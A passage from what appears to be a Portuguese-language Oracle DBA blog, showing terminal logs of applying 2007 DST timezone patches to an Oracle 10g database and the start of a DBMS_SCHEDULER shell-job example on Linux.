Copying file to "/oracle/10g/javavm/lib/zi/America/Toronto"
Copying file to "/oracle/10g/javavm/lib/zi/America/Vancouver"
Copying file to "/oracle/10g/javavm/lib/zi/America/Whitehorse"
Copying file to "/oracle/10g/javavm/lib/zi/America/Winnipeg"
Copying file to "/oracle/10g/javavm/lib/zi/America/Yellowknife"
Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Palmer"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Amman"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Baku"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Choibalsan"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Colombo"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Damascus"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Gaza"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Hovd"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh87"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh88"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh89"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Samarkand"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tashkent"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tbilisi"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tehran"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Ulaanbaatar"
Copying file to "/oracle/10g/javavm/lib/zi/Atlantic/Bermuda"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Perth"
Copying file to "/oracle/10g/javavm/lib/zi/CST6CDT"
Copying file to "/oracle/10g/javavm/lib/zi/EST"
Copying file to "/oracle/10g/javavm/lib/zi/EST5EDT"
Copying file to "/oracle/10g/javavm/lib/zi/HST"
Copying file to "/oracle/10g/javavm/lib/zi/MST"
Copying file to "/oracle/10g/javavm/lib/zi/MST7MDT"
Copying file to "/oracle/10g/javavm/lib/zi/PST8PDT"
Copying file to "/oracle/10g/javavm/lib/zi/ZoneInfoMappings"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Volgograd"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Warsaw"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Easter"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4ADT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6CDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5EDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/HST10"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7MDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8PDT"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9"
Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9YDT"
Copying file to "/oracle/10g/javavm/admin/fixTZa.sql"
Copying file to "/oracle/10g/javavm/admin/fixTZb.sql"
Copying file to "/oracle/10g/javavm/lib/zi/America/Adak"
Copying file to "/oracle/10g/javavm/lib/zi/America/Anchorage"
Copying file to "/oracle/10g/javavm/lib/zi/America/Araguaina"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Buenos_Aires"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Catamarca"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Cordoba"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Jujuy"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/La_Rioja"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Mendoza"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Rio_Gallegos"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/San_Juan"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Tucuman"
Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Ushuaia"
Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Louisville"
Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Monticello"
Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/Center"
Copying file to "/oracle/10g/javavm/lib/zi/America/Asuncion"
Copying file to "/oracle/10g/javavm/lib/zi/America/Bahia"
Copying file to "/oracle/10g/javavm/lib/zi/America/Boise"
Copying file to "/oracle/10g/javavm/lib/zi/America/Chicago"
Copying file to "/oracle/10g/javavm/lib/zi/America/Denver"
Copying file to "/oracle/10g/javavm/lib/zi/America/Detroit"
Copying file to "/oracle/10g/javavm/lib/zi/America/Fortaleza"
Copying file to "/oracle/10g/javavm/lib/zi/America/Juneau"
Copying file to "/oracle/10g/javavm/lib/zi/America/Lima"
Copying file to "/oracle/10g/javavm/lib/zi/America/Los_Angeles"
Copying file to "/oracle/10g/javavm/lib/zi/America/Maceio"
Copying file to "/oracle/10g/javavm/lib/zi/America/Menominee"
Copying file to "/oracle/10g/javavm/lib/zi/America/New_York"
Copying file to "/oracle/10g/javavm/lib/zi/America/Nome"
Copying file to "/oracle/10g/javavm/lib/zi/America/Noronha"
Copying file to "/oracle/10g/javavm/lib/zi/America/Phoenix"
Copying file to "/oracle/10g/javavm/lib/zi/America/Recife"
Copying file to "/oracle/10g/javavm/lib/zi/America/Regina"
Copying file to "/oracle/10g/javavm/lib/zi/America/Yakutat"
Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Rothera"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Almaty"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtau"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtobe"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Bishkek"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Jerusalem"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Karachi"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuala_Lumpur"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuching"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Oral"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Qyzylorda"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Singapore"
Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tokyo"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Adelaide"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Broken_Hill"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Currie"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Hobart"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Lord_Howe"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Melbourne"
Copying file to "/oracle/10g/javavm/lib/zi/Australia/Sydney"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Berlin"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Lisbon"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vienna"
Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vilnius"
Copying file to "/oracle/10g/javavm/lib/zi/Indian/Chagos"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Auckland"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Chatham"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Midway"
Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Tongatapu"
ApplySession adding interim patch '5865568' to inventory

Verifying the update...
Inventory check OK: Patch ID 5865568 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 5865568 are present in Oracle Home.

The local system has been patched and can be restarted.


OPatch succeeded.
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinvestory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..

Syntax Error... Unrecognized Command or Option: 1st argument must be one of the following:
   apply
   rollback
   lsinventory
   lsinv
   query
   util
   prereq
   version
   -help
   -h
Please use the option 'opatch -help' to get correct syntax

OPatch failed with error code 14
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-58-BRT_Sun.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-08-58-BRT_Sun.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g                                                  10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0
There are 2 products installed in this Oracle Home.


Interim patches (2) :

Patch  5865568      : applied on Sun Mar 04 22:08:38 BRT 2007
   Created on 15 Feb 2007, 19:51:37 hrs PST8PDT
   Bugs fixed:
     5865568

Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007
   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific
   Bugs fixed:
     5632264


--------------------------------------------------------------------------------

OPatch succeeded.
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:30 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> exit
Disconnected
[oracle@anakin 5865568]$ export ORACLE_SID=+ASM
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:09:45 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup
ASM instance started

Total System Global Area      83886080 bytes
Fixed Size                     1259264 bytes
Variable Size                 57460992 bytes
ASM Cache                     25165824 bytes
ASM diskgroups mounted
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5865568]$ export ORACLE_SID=lx10g
[oracle@anakin 5865568]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Sun Mar 4 22:10:05 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup
ORACLE instance started.

Total System Global Area     603979776 bytes
Fixed Size                     1262224 bytes
Variable Size                197135728 bytes
Database Buffers             398458880 bytes
Redo Buffers                   7122944 bytes
Database mounted.
Database opened.
idle> @?/javavm/admin/fixTZa

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


Java created.

No errors.

Java altered.

No errors.

Package created.

No errors.

Package body created.

No errors.

PL/SQL procedure successfully completed.


Call completed.

Testing various timezone DST attributes
FAILED for Australia/Perth 2:0:10 12/3/2006
FAILED for Australia/Perth 1:0:10 3/25/2007
FAILED for America/Vancouver 10:0:0 3/11/2007
FAILED for America/Edmonton 10:0:0 3/11/2007
FAILED for America/St_Johns 10:0:0 3/11/2007
FAILED for America/New_York 10:0:0 3/11/2007
FAILED for America/Los_Angeles 10:0:0 3/11/2007
##
Bug is in fact present, so this patch is needed
##
(Perhaps) modifying ild_ub1$ for rehotloading of sun/util/calendar/ZoneInfoFile
obj# = 20630
nbytes %d = 64512, 1st read = 64512, 2nd read = -1
87 344070 333936 10134 joxbtflag>>8 = 3
===
(Perhaps) modifying ild_ub1$ for rehotloading of /c8a1ddf0_PolicyTable
obj# = 13814
nbytes %d = 20069, 1st read = 20069, 2nd read = -1
177 18340 4408 13932 joxbtflag>>8 = 3
===

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS

########################################################
Bug is in fact present, so this patch is needed
Proceed by restarting the database and running script
fixTZb
########################################################

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS

idle> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
idle> startup migrate
ORACLE instance started.

Total System Global Area     603979776 bytes
Fixed Size                     1262224 bytes
Variable Size                213912944 bytes
Database Buffers             381681664 bytes
Redo Buffers                   7122944 bytes
Database mounted.
Database opened.
idle> @?/javavm/admin/fixTZb

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


Call completed.

Testing various timezone DST attributes
########################################################
Bug is no longer present.  Patch succeeded.
########################################################

PL/SQL procedure successfully completed.

drop java source fixTZ
drop package fixTZ

PL/SQL procedure successfully completed.

idle> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
idle> startup
ORACLE instance started.

Total System Global Area     603979776 bytes
Fixed Size                     1262224 bytes
Variable Size                213912944 bytes
Database Buffers             381681664 bytes
Redo Buffers                   7122944 bytes
Database mounted.
Database opened.
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-13-46-BRT_Sun.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-13-46-BRT_Sun.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g                                                  10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0
There are 2 products installed in this Oracle Home.


Interim patches (2) :

Patch  5865568      : applied on Sun Mar 04 22:08:38 BRT 2007
   Created on 15 Feb 2007, 19:51:37 hrs PST8PDT
   Bugs fixed:
     5865568

Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007
   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific
   Bugs fixed:
     5632264


--------------------------------------------------------------------------------

OPatch succeeded.
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$ exit
exit

Script done on Sun 04 Mar 2007 10:14:03 PM BRT
[oracle@anakin ~]$

DST Are you ready?

2007-02-28T20:58:00.000-03:00

Voce está pronto? DST significa Daylight Saving Time, o nosso tradicional Horário de Verão, mas em inglês fica mais chique. E é porque o início do horário de verão nos Estados Unidos mudou que estou escrevendo este artigo. O governo norte americano estendeu o tempo do horário de verão a partir de 2007, portanto "patches" a vista e vários. Tente "DST Impact" no google. O aviso que gostaria de deixar é que, basicamente, no Oracle o DBA precisa cuidar de dois aspectos - se no banco estiver instalado o JVM e se existem campos com datatype que usa TIME ZONE. A nota 397281.1 do metalink é um excelente início para um melhor entendimento dos impactos. Uma das perguntas/respostas me chamou atenção, vou reproduzí-la abaixo:

Do I need a patch?
The short answer is: YES. Because timezone data is embedded not only in Database tables but also in arguments to PL/SQL functions and Java code, there is no way for Oracle to definitively tell any customer that they do NOT need to patch. The only way to eliminate risk is to patch all your systems. We have provided a great deal of information in the documents which help you establish which of your systems need to be patched as a matter of priority. Based on the information provided, your analysis may lead you to believe that the impact on a system is low. It is ultimately your business decision to patch or not based on your analysis. Oracle recommends that you patch all your systems.

Eu preciso do patch?
Resposta curta é SIM! ...

Então decidimos pelo lado prudente da vida: aplicar em todas as bases. E dizem que paraquedismo é esporte-radical - vai ser DBA para ver o que é emoção ;-) Ok, mãos a obra que no banco aqui de casa eu ainda não apliquei o patch.

Metalink, nota 359145.1 tem uma matriz com o número do patch para cada versão e plataforma. No meu caso, Linux o tamanho do patch 72k. Vejamos como está meu banco.


[oracle@anakin patches]$ $ORACLE_HOME/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-10-21-BRT_Wed.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Feb_28_22-10-21-BRT_Wed.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g                                                  10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0
There are 2 products installed in this Oracle Home.


There are no Interim patches installed in this Oracle Home.

--------------------------------------------------------------------------------

OPatch succeeded.

[oracle@anakin patches]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:11:30 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options

sys@LX10G> select case to_number(to_char(to_timestamp_tz
  2         ('20070311 00:00:00 US/EASTERN','YYYYMMDD HH24:MI:SS TZR')
  3           + to_dsinterval('0 08:00:00'),'HH24'))
  4         when 8 then 'The patch has not been applied'
  5         when 9 then 'The patch has been applied correctly'
  6         else 'Error' end "TZTEST (RUN FROM DB HOME)"
  7    from dual;

TZTEST (RUN FROM DB HOME)
------------------------------------
The patch has not been applied

1 row selected.

Portanto, meu banco está desatualizado com relação ao patch do DST. Gostaria de chamar a atenção para o OPatch, ele precisa estar presente e seu Inventory deve estar consistente porque a aplicação do patch depende do OPatch. A partir deste ponto, vou copiar todos os passos que fiz para a aplicação do patch.


[oracle@anakin patches]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:14:16 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options

sys@LX10G> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
sys@LX10G> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin patches]$ export ORACLE_SID=+ASM
[oracle@anakin patches]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:14:50 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> shutdown
ASM diskgroups dismounted
ASM instance shutdown
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin patches]$ lsnrctl stop

LSNRCTL for Linux: Version 10.2.0.2.0 - Production on 28-FEB-2007 22:15:05

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))
The command completed successfully
[oracle@anakin patches]$ /oracle/http/opmn/bin/opmnctl stopall
opmnctl: stopping opmn and all managed processes...
[oracle@anakin patches]$
[oracle@anakin patches]$
[oracle@anakin patches]$ ps -fu oracle
UID        PID  PPID  C STIME TTY          TIME CMD
oracle    4801  3716  0 Feb27 ?        00:00:00 /oracle/10g/bin/ocssd.bin
oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash
oracle    9329  8868  0 22:15 pts/1    00:00:00 ps -fu oracle
[marcio@anakin init.d]$ su -
Password:
[root@anakin ~]#
[root@anakin ~]# cd /etc/init.d/
[root@anakin init.d]# ./init.cssd stop
Stopping CSSD.
Shutting down CSS daemon.
Shutdown request successfully issued.
Shutdown has begun. The daemons should exit soon.
[root@anakin init.d]# exit
logout

[oracle@anakin patches]$ ps -fu oracle
UID        PID  PPID  C STIME TTY          TIME CMD
oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash
oracle    9550  8868  0 22:17 pts/1    00:00:00 ps -fu oracle

Ok, nenhum serviço oracle no ar. Isso é importante para a aplicação do patch.


[oracle@anakin patches]$ ll -tr
total 84
-rw-r--r--  1 oracle dba   360 Feb 28 21:06 test_patch.sql
-rw-r--r--  1 oracle dba 73788 Feb 28 22:21 p5632264_10202_LINUX.zip
[oracle@anakin patches]$ unzip p5632264_10202_LINUX.zip
Archive:  p5632264_10202_LINUX.zip
   creating: 5632264/
   creating: 5632264/files/
   creating: 5632264/files/oracore/
   creating: 5632264/files/oracore/zoneinfo/
  inflating: 5632264/files/oracore/zoneinfo/timezone.dat
  inflating: 5632264/files/oracore/zoneinfo/timezlrg.dat
  inflating: 5632264/files/oracore/zoneinfo/readme.txt
   creating: 5632264/etc/
   creating: 5632264/etc/config/
  inflating: 5632264/etc/config/inventory
  inflating: 5632264/etc/config/actions
   creating: 5632264/etc/xml/
  inflating: 5632264/etc/xml/GenericActions.xml
  inflating: 5632264/etc/xml/ShiphomeDirectoryStructure.xml
  inflating: 5632264/README.txt
[oracle@anakin patches]$ cd 5632264/
[oracle@anakin 5632264]$ $ORACLE_HOME/OPatch/opatch apply
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-21-36-BRT_Wed.log

ApplySession applying interim patch '5632264' to OH '/oracle/10g'

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/oracle/10g')

Is the local system ready for patching?

Do you want to proceed? [y|n]
y
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '5632264' for restore. This might take a while...
Backing up files affected by the patch '5632264' for rollback. This might take a while...

Patching component oracle.oracore.rsf, 10.2.0.2.0...
Copying file to "/oracle/10g/oracore/zoneinfo/timezone.dat"
Copying file to "/oracle/10g/oracore/zoneinfo/timezlrg.dat"
Copying file to "/oracle/10g/oracore/zoneinfo/readme.txt"
ApplySession adding interim patch '5632264' to inventory

Verifying the update...
Inventory check OK: Patch ID 5632264 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 5632264 are present in Oracle Home.

The local system has been patched and can be restarted.


OPatch succeeded.
[oracle@anakin 5632264]$ $ORACLE_HOME/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation.  All rights reserved..


Oracle Home       : /oracle/10g
Central Inventory : /oracle/oraInventory
   from           : /oracle/10g/oraInst.loc
OPatch version    : 10.2.0.2.0
OUI version       : 10.2.0.2.0
OUI location      : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-21-59-BRT_Wed.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Feb_28_22-21-59-BRT_Wed.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g                                                  10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0
There are 2 products installed in this Oracle Home.


Interim patches (1) :

Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007
   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific
   Bugs fixed:
     5632264


--------------------------------------------------------------------------------

OPatch succeeded.
[oracle@anakin 5632264]$ su -
Password:
[root@anakin ~]# cd /etc/init.d/
[root@anakin init.d]# ./init.cssd start
Startup will be queued to init within 90 seconds.
[root@anakin init.d]# exit
logout

[oracle@anakin 5632264]$ 
[oracle@anakin 5632264]$ ps -fu oracle
UID        PID  PPID  C STIME TTY          TIME CMD
oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash
oracle   10041  9500  0 22:23 ?        00:00:00 /oracle/10g/bin/ocssd.bin
oracle   10083  8868  0 22:25 pts/1    00:00:00 ps -fu oracle
[oracle@anakin 5632264]$ export ORACLE_SID=+ASM
[oracle@anakin 5632264]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:26:28 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup
ASM instance started

Total System Global Area      83886080 bytes
Fixed Size                     1259264 bytes
Variable Size                 57460992 bytes
ASM Cache                     25165824 bytes
ASM diskgroups mounted
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5632264]$ export ORACLE_SID=lx10g
[oracle@anakin 5632264]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:26:48 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

Connected to an idle instance.

idle> startup
ORACLE instance started.

Total System Global Area     603979776 bytes
Fixed Size                     1262224 bytes
Variable Size                247467376 bytes
Database Buffers             348127232 bytes
Redo Buffers                   7122944 bytes
Database mounted.
Database opened.
idle> @../test_patch
idle> select case to_number(to_char(to_timestamp_tz
  2         ('20070311 00:00:00 US/EASTERN','YYYYMMDD HH24:MI:SS TZR')
  3           + to_dsinterval('0 08:00:00'),'HH24'))
  4         when 8 then 'The patch has not been applied'
  5         when 9 then 'The patch has been applied correctly'
  6         else 'Error' end "TZTEST (RUN FROM DB HOME)"
  7    from dual;

TZTEST (RUN FROM DB HOME)
------------------------------------
The patch has been applied correctly

1 row selected.

idle> set echo off
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5632264]$ lsnrctl start

LSNRCTL for Linux: Version 10.2.0.2.0 - Production on 28-FEB-2007 22:27:47

Copyright (c) 1991, 2005, Oracle.  All rights reserved.

Starting /oracle/10g/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 10.2.0.2.0 - Production
System parameter file is /oracle/10g/network/admin/listener.ora
Log messages written to /oracle/10g/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 10.2.0.2.0 - Production
Start Date                28-FEB-2007 22:27:47
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oracle/10g/network/admin/listener.ora
Listener Log File         /oracle/10g/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "lx10g" has 1 instance(s).
  Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully
[oracle@anakin 5632264]$ /oracle/http/opmn/bin/opmnctl startall
opmnctl: starting opmn and all managed processes...

Prontinho, rápido... não toma nem 20 minutos. Minha base está instalada sobre o ASM, se a sua não... melhor, menos serviços para baixar. ;-)

DBMS_SCHEDULER no Linux

2007-01-14T22:19:00.000-02:00

Já postei aqui um exemplo de como executar o DBMS_SCHEDULER no Windows. Agora é a vez do linux.


Primeiro um script que, quando executa, atualiza um arquivo chamado "executou" com a data do momento.

[marcio@luke bin]$ pwd
/home/marcio/bin
[marcio@luke bin]$ cat test_shell.sh
#!/usr/bin/ksh
#

echo `date` >> /tmp/executou

Verifique se o usuário do oracle no sistema operacional tem acesso ao script.

[marcio@luke bin]$ su - oracle
Password:
[oracle@luke ~]$
[oracle@luke ~]$ ~marcio/bin/test_shell.sh
[oracle@luke ~]$ ~marcio/bin/test_shell.sh
[oracle@luke ~]$
[oracle@luke ~]$ cat /tmp/executou
Tue Jan 24 00:03:04 BRST 2006
Tue Jan 24 00:03:05 BRST 2006
[oracle@luke ~]$

Isso significa que o oracle, usuário do sistema operacional dono do oracle 10g da minha instalação tem permissão e 
consiguiu executar o script por 2 vezes, gerando o arquivo /tmp/executou com os respectivos horários.

Agora, vamos criar o job para executar de 2 em 2 minutos.

SQL> begin
   2     dbms_scheduler.create_job
   3     (
   4        job_name        => 'TEST_SHELL',
   5        job_type        => 'EXECUTABLE',
   6        job_action      => '/home/marcio/bin/test_shell.sh',
   7        repeat_interval => 'FREQ=MINUTELY; INTERVAL=2',
